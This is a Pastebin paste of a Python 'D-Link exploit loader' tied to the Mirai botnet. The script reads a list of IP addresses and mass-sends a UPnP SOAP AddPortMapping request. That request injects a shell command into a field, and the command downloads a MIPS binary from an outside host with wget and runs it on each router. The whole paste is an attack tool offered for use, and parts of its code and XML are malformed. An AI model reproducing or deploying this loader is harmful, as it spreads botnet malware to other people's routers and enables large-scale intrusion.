xB4ckdoorREAL

[D-LINK EXPLOIT LOADER [RCE] [MIRAI]

Nov 7th, 2018
674
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.96 KB | None | 0 0
  1. #DISCORD: https://discord.gg/PTW3yPp | b4ckdoorarchive.club
  2. #! python !#
  3. import threading, sys, time, random, socket, re, os, struct, array, requests
  4. from sys import stdout
  5. from Threading import thread
  6. from Queue import *
  7. ips = open(sys.argv[1], "r").readlines()
  8. queue = Queue()
  9. queue_count = 0
  10. p1 = "<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><SOAP-ENV:Body><m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;wget B4.CK.DO.OR/bins/turbo.mips;chmod 777 *;./turbo.mips dlink.exploit/</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>"
  11.  
  12. headerlist = {'SOAPAction': 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'}
  13.  
  14. def rtek(host):
  15.     try:
  16.         url = "http://" + host + ":49152/soap.cgi?service=WANIPConn1"
  17.         requests.post(url, timeout=5, headers=headerlist, data=p1)
  18.     except:
  19.         pass
  20.     return
  21.  
  22. def main():
  23.     global queue_count
  24.     for line in ips:
  25.         line = line.strip("\r")
  26.         line = line.strip("\n")
  27.         queue_count += 1
  28.         sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  29.         sys.stdout.flush()
  30.         queue.put(line)
  31.     sys.stdout.write("\n")
  32.     i = 0
  33.     while i != queue_count:
  34.         i += 1
  35.         try:
  36.             input = queue.get()
  37.             thread = Thread(target=rtek, args=(input,))
  38.             thread.start()
  39.         except KeyboardInterrupt:
  40.             sys.exit("Interrupted? (ctrl + c)")
  41.     thread.join()
  42.     return
  43.  
  44. if __name__ == "__main__":
  45.     main()
Add Comment
Please, Sign In to add comment